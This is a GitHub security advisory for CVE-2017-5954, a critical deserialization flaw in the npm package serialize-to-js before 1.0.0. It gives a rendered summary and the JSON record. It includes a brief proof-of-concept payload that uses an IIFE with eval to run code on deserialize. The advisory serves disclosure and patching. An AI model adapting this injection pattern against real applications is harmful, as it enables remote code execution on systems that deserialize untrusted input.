GHSA-MM62-WXC8-CF7M

Vulnerability from github – Published: 2018-07-18 18:27 – Updated: 2023-09-13 19:43
VLAI?
Summary
Code Execution Through IIFE in serialize-to-js
Details

Affected versions of serialize-to-js may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE).

Proof of Concept

var payload = "{e: (function(){ eval('console.log(`exploited`)') })() }"
var serialize = require('serialize-to-js');
serialize.deserialize(payload);

Recommendation

Update to version 1.0.0, or later, and review this disclaimer from the author.

Severity ?
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "serialize-to-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-5954"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:46:35Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "Affected versions of `serialize-to-js` may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE). \n\n## Proof of Concept\n```js\nvar payload = \"{e: (function(){ eval(\u0027console.log(`exploited`)\u0027) })() }\"\nvar serialize = require(\u0027serialize-to-js\u0027);\nserialize.deserialize(payload);\n```\n\n\n## Recommendation\n\nUpdate to version 1.0.0, or later, and review [this disclaimer](https://www.npmjs.com/package/serialize-to-js#deserialize) from the author.",
  "id": "GHSA-mm62-wxc8-cf7m",
  "modified": "2023-09-13T19:43:49Z",
  "published": "2018-07-18T18:27:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5954"
    },
    {
      "type": "WEB",
      "url": "https://github.com/commenthol/serialize-to-js/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/commenthol/serialize-to-js/commit/1cd433960e5b9db4c0b537afb28366198a319429"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-mm62-wxc8-cf7m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/commenthol/serialize-to-js"
    },
    {
      "type": "WEB",
      "url": "https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/313"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/serialize-to-js#deserialize"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/96223"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Code Execution Through IIFE in serialize-to-js"
}


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Sightings

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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.